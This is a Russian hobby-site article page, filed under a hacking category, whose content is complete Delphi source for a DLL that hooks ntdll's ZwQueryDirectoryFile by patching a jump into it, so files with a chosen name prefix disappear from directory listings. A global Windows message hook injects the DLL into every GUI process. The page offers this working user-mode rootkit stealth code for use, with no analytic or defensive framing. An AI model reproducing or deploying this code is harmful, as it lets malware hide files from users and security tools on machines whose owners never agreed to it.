Суббота, 18.05.2024, 17:37
Добро пожаловать! ГлавнаяРегистрацияВход
Приветствую Вас Гость | RSS
Меню сайта
Категории раздела
Cтатьи [23]
}I{ack [13]
Мои статьи [1]
MASM [14]
Наш опрос
Оцените мой сайт
Всего ответов: 110
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
 Каталог статей 
Главная » Статьи » }I{ack

Перехват ZwQueryDirectoryFile на delphi
Перехват ZwQueryDirectoryFile на delphi

library Hide;  
 
 uses  
    Windows;  
 
 type  
    NTStatus = cardinal;  
    USHORT = WORD;  
 
    OldCode = packed record  
      One: dword;  
      two: word;  
    end;  
 
    far_jmp = packed record  
      PuhsOp: byte;  
      PushArg: pointer;  
      RetOp: byte;  
    end;  
 
    PUnicodeString = ^TUnicodeString;  
    TUnicodeString = packed record  
      Length: Word;  
      MaximumLength: Word;  
      Buffer: PWideChar;  
    end;  
 
    PFILE_DIRECTORY_INFORMATION = ^FILE_DIRECTORY_INFORMATION;  
    FILE_DIRECTORY_INFORMATION = packed record  
      NextEntryOffset:      ULONG;  
      Unknown:              ULONG;  
      CreationTime:         LARGE_INTEGER;  
      LastAccessTime:       LARGE_INTEGER;  
      LastWriteTime:        LARGE_INTEGER;  
      ChangeTime:           LARGE_INTEGER;  
      EndOfFile:            LARGE_INTEGER;  
      AllocationSize:       LARGE_INTEGER;  
      FileAttributes:       ULONG;  
      FileNameLength:       ULONG;  
      FileName:             array[0..0] of WideChar;  
    end;  
 
    PFILE_FULL_DIRECTORY_INFORMATION = ^FILE_FULL_DIRECTORY_INFORMATION;  
    FILE_FULL_DIRECTORY_INFORMATION = packed record  
      NextEntryOffset:     ULONG;  
      Unknown:             ULONG;  
      CreationTime:        LARGE_INTEGER;  
      LastAccessTime:      LARGE_INTEGER;  
      LastWriteTime:       LARGE_INTEGER;  
      ChangeTime:          LARGE_INTEGER;  
      EndOfFile:           LARGE_INTEGER;  
      AllocationSize:      LARGE_INTEGER;  
      FileAttributes:      ULONG;  
      FileNameLength:      ULONG;  
      EaInformationLength: ULONG;  
      FileName:            array[0..0] of WideChar;  
    end;  
 
    PFILE_BOTH_DIRECTORY_INFORMATION = ^FILE_BOTH_DIRECTORY_INFORMATION;  
    FILE_BOTH_DIRECTORY_INFORMATION = packed record  
      NextEntryOffset:     ULONG;  
      Unknown:             ULONG;  
      CreationTime:        LARGE_INTEGER;  
      LastAccessTime:      LARGE_INTEGER;  
      LastWriteTime:       LARGE_INTEGER;  
      ChangeTime:          LARGE_INTEGER;  
      EndOfFile:           LARGE_INTEGER;  
      AllocationSize:      LARGE_INTEGER;  
      FileAttributes:      ULONG;  
      FileNameLength:      ULONG;  
      EaInformationLength: ULONG;  
      AlternateNameLength: USHORT;  
      AlternateName:       array [0..11] of WideChar;  
      FileName:            array [0..0] of WideChar;  
    end;  
 
    PFILE_NAMES_INFORMATION = ^FILE_NAMES_INFORMATION;  
    FILE_NAMES_INFORMATION = packed record  
      NextEntryOffset:     ULONG;  
      Unknown:             ULONG;  
      FileNameLength:      ULONG;  
      FileName:            array [0..0] of WideChar;  
    end;  
 
 const  
    FileDirectoryInformation        = 1;  
    FileFullDirectoryInformation    = 2;  
    FileBothDirectoryInformation    = 3;  
    FileNamesInformation            = 12;  
 
    STATUS_NO_SUCH_FILE             = $C000000F;  
    STATUS_SUCCESS                  = $00000000;  
 
 var  
    JmpZwq: far_jmp;  
    OldZwq: OldCode;  
    PtrZwq: Pointer;  
 
 Function ZwQueryDirectoryFile(FileHandle: dword;  
                     Event: dword;  
                     ApcRoutine: pointer;  
                     ApcContext: pointer;  
                     IoStatusBlock: pointer;  
                     FileInformation: pointer;  
                     FileInformationLength: dword;  
                     FileInformationClass: dword;  
                     ReturnSingleEntry: bool;  
                     FileName: PUnicodeString;  
                     RestartScan: bool): NTStatus;  
                     stdcall; external 'ntdll.dll';  
 
 Function cpmpwclen(Str1: PWideChar;  
                     Str2: PWideChar;  
                     Len: integer): boolean;  
 var  
    i: integer;  
 begin  
    Result := true;  
    for i:=0 to (len div 2)-1 do  
      if str1[i]<>str2[i] then Result := false  
 end;  
 
 Function TrueZwQueryDirectoryFile(FileHandle: dword;  
                     Event: dword;  
                     ApcRoutine: pointer;  
                     ApcContext: pointer;  
                     IoStatusBlock: pointer;  
                     FileInformation: pointer;  
                     FileInformationLength: dword;  
                     FileInformationClass: dword;  
                     ReturnSingleEntry: bool;  
                     FileName: PUnicodeString;  
                     RestartScan: bool): NTStatus; stdcall;  
 
 var  
   Written: dword;  
 begin  
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,  
                       @OldZwq, SizeOf(OldCode), Written);  
 
    Result := ZwQueryDirectoryFile(FileHandle,  
                     Event,  
                     ApcRoutine,  
                     ApcContext,  
                     IoStatusBlock,
                     FileInformation,  
                     FileInformationLength,  
                     FileInformationClass,  
                     ReturnSingleEntry,
                     FileName,
                     RestartScan);  
 
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,  
                       @JmpZwq, SizeOf(far_jmp), Written)  
 end;  
 
 Function NewZwQueryDirectoryFile(FileHandle: dword;  
                     Event: dword;  
                     ApcRoutine: pointer;  
                     ApcContext: pointer;  
                     IoStatusBlock: pointer;  
                     FileInformation: pointer;  
                     FileInformationLength: dword;  
                     FileInformationClass: dword;  
                     ReturnSingleEntry: bool;  
                     FileName: PUnicodeString;  
                     RestartScan: bool): NTStatus; stdcall;  
 
 var  
    LastFileDirectoryInfo, FileDirectoryInfo:         PFILE_DIRECTORY_INFORMATION;  
      LastFileFullDirectoryInfo, FileFullDirectoryInfo: PFILE_FULL_DIRECTORY_INFORMATION;  
      LastFileBothDirectoryInfo, FileBothDirectoryInfo: PFILE_BOTH_DIRECTORY_INFORMATION;  
      LastFileNamesInfo, FileNamesInfo:                 PFILE_NAMES_INFORMATION;  
      Offset : dword;  
 
 begin  
    Result := TrueZwQueryDirectoryFile(FileHandle,  
                     Event,  
                     ApcRoutine,  
                     ApcContext,  
                     IoStatusBlock,
                     FileInformation,
                     FileInformationLength,
                     FileInformationClass,  
                     ReturnSingleEntry,  
                     FileName,  
                     RestartScan);  
 
    if Result = STATUS_SUCCESS then  
      begin  
        Offset := 0;  
        case FileInformationClass of  
          FileDirectoryInformation:  
            begin  
              FileDirectoryInfo := nil;  
              repeat  
           LastFileDirectoryInfo := FileDirectoryInfo;  
                FileDirectoryInfo := pointer(dword(FileInformation) + Offset);  
           if (FileDirectoryInfo^.FileNameLength > 1) and  
                      (cpmpwclen(FileDirectoryInfo^.FileName, 'ILDUS',FileDirectoryInfo^.FileNameLength))  then  
                  begin  
              if FileDirectoryInfo^.NextEntryOffset = 0 then  
                begin  
                 if LastFileDirectoryInfo <> nil then  
                    LastFileDirectoryInfo^.NextEntryOffset := 0  
                   else Result := STATUS_NO_SUCH_FILE  
                end else  
                        if LastFileDirectoryInfo <> nil then  
                    LastFileDirectoryInfo^.NextEntryOffset := LastFileDirectoryInfo^.NextEntryOffset + FileDirectoryInfo^.NextEntryOffset  
                  end;  
           Offset := Offset + FileDirectoryInfo^.NextEntryOffset;  
              until FileDirectoryInfo^.NextEntryOffset = 0  
            end;  
 
          FileFullDirectoryInformation:  
            begin  
              FileFullDirectoryInfo := nil;  
              repeat  
           LastFileFullDirectoryInfo := FileFullDirectoryInfo;  
                FileFullDirectoryInfo := pointer(dword(FileInformation) + Offset);  
           if (FileFullDirectoryInfo^.FileNameLength > 1) and  
                      (cpmpwclen(FileFullDirectoryInfo^.FileName, 'ILDUS',FileFullDirectoryInfo^.FileNameLength))  then
                  begin  
              if FileFullDirectoryInfo^.NextEntryOffset = 0 then
                begin
                 if LastFileFullDirectoryInfo <> nil then  
                    LastFileFullDirectoryInfo^.NextEntryOffset := 0  
                   else Result := STATUS_NO_SUCH_FILE  
                end else  
                        if LastFileFullDirectoryInfo <> nil then  
                    LastFileFullDirectoryInfo^.NextEntryOffset := LastFileFullDirectoryInfo^.NextEntryOffset + FileFullDirectoryInfo^.NextEntryOffset  
                  end;  
           Offset := Offset + FileFullDirectoryInfo^.NextEntryOffset;  
              until FileFullDirectoryInfo^.NextEntryOffset = 0  
            end;  
 
          FileBothDirectoryInformation:  
            begin  
              FileBothDirectoryInfo := nil;  
              repeat  
           LastFileBothDirectoryInfo := FileBothDirectoryInfo;  
                FileBothDirectoryInfo := pointer(dword(FileInformation) + Offset);  
           if (FileBothDirectoryInfo^.FileNameLength > 1) and  
                      (cpmpwclen(FileBothDirectoryInfo^.FileName, 'ILDUS',FileBothDirectoryInfo^.FileNameLength))  then
                  begin  
              if FileBothDirectoryInfo^.NextEntryOffset = 0 then  
                begin  
                 if LastFileBothDirectoryInfo <> nil then  
                    LastFileBothDirectoryInfo^.NextEntryOffset := 0  
                   else Result := STATUS_NO_SUCH_FILE  
                end else  
                        if LastFileBothDirectoryInfo <> nil then  
                    LastFileBothDirectoryInfo^.NextEntryOffset := LastFileBothDirectoryInfo^.NextEntryOffset + FileBothDirectoryInfo^.NextEntryOffset  
                  end;  
           Offset := Offset + FileBothDirectoryInfo^.NextEntryOffset;  
              until FileBothDirectoryInfo^.NextEntryOffset = 0  
            end;  
 
          FileNamesInformation:  
            begin  
              FileNamesInfo := nil;  
              repeat  
           LastFileNamesInfo := FileNamesInfo;  
                FileNamesInfo := pointer(dword(FileInformation) + Offset);  
           if (FileNamesInfo^.FileNameLength > 1) and  
                      (cpmpwclen(FileNamesInfo^.FileName, 'ILDUS',FileNamesInfo^.FileNameLength))  then
                  begin  
              if FileNamesInfo^.NextEntryOffset = 0 then  
                begin  
                 if LastFileNamesInfo <> nil then  
                    LastFileNamesInfo^.NextEntryOffset := 0  
                   else Result := STATUS_NO_SUCH_FILE  
                end else  
                        if LastFileNamesInfo <> nil then  
                    LastFileNamesInfo^.NextEntryOffset := LastFileNamesInfo^.NextEntryOffset + FileNamesInfo^.NextEntryOffset  
                  end;  
           Offset := Offset + FileNamesInfo^.NextEntryOffset;  
              until FileNamesInfo^.NextEntryOffset = 0  
            end  
        end  
      end  
 end;  
 
 Procedure SetHook();  
 var  
    Bytes: dword;  
 begin  
    PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'),  
                    'ZwQueryDirectoryFile');  
    ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);  
    JmpZwq.PuhsOp  := $68;  
    JmpZwq.PushArg := @NewZwQueryDirectoryFile;  
    JmpZwq.RetOp   := $C3;  
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes)  
 end;  
 
 Procedure Unhook();  
 var  
    Bytes: DWORD;  
 begin  
    WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes)  
 end;  
 
 Function MessageProc(code : integer; wParam : word;  
                      lParam : longint) : longint; stdcall;  
 begin  
    CallNextHookEx(0, Code, wParam, lparam);  
    Result := 0  
 end;  
 
 Procedure SetGlobalHookProc();  
 begin  
    SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);  
    Sleep(INFINITE)  
 end;  
 
 Procedure SetGlobalHook();  
 var  
    hMutex: dword;  
    TrId: dword;  
 begin  
    hMutex := CreateMutex(nil, false, 'FileHideHook');  
    if GetLastError = 0 then  
      CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)    
        else  
          CloseHandle(hMutex)  
 end;  
 
 procedure DLLEntryPoint(dwReason: DWord);  
 begin  
    case dwReason of  
      DLL_PROCESS_ATTACH:  
        begin  
          SetGlobalHook();  
          SetHook()  
        end;  
 
      DLL_PROCESS_DETACH:  
        begin  
          Unhook()  
        end  
    end  
 end;  
 
 begin  
    DllProc := @DLLEntryPoint;  
    DLLEntryPoint(DLL_PROCESS_ATTACH)  
 end.

Категория: }I{ack | Добавил: TERMINATOR (24.08.2013)
Просмотров: 1036 | Комментарии: 1 | Рейтинг: 5.0/1
Всего комментариев: 0
Имя *:
Email *:
Код *:
Поиск
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Copyright MyCorp © 2024Конструктор сайтов - uCoz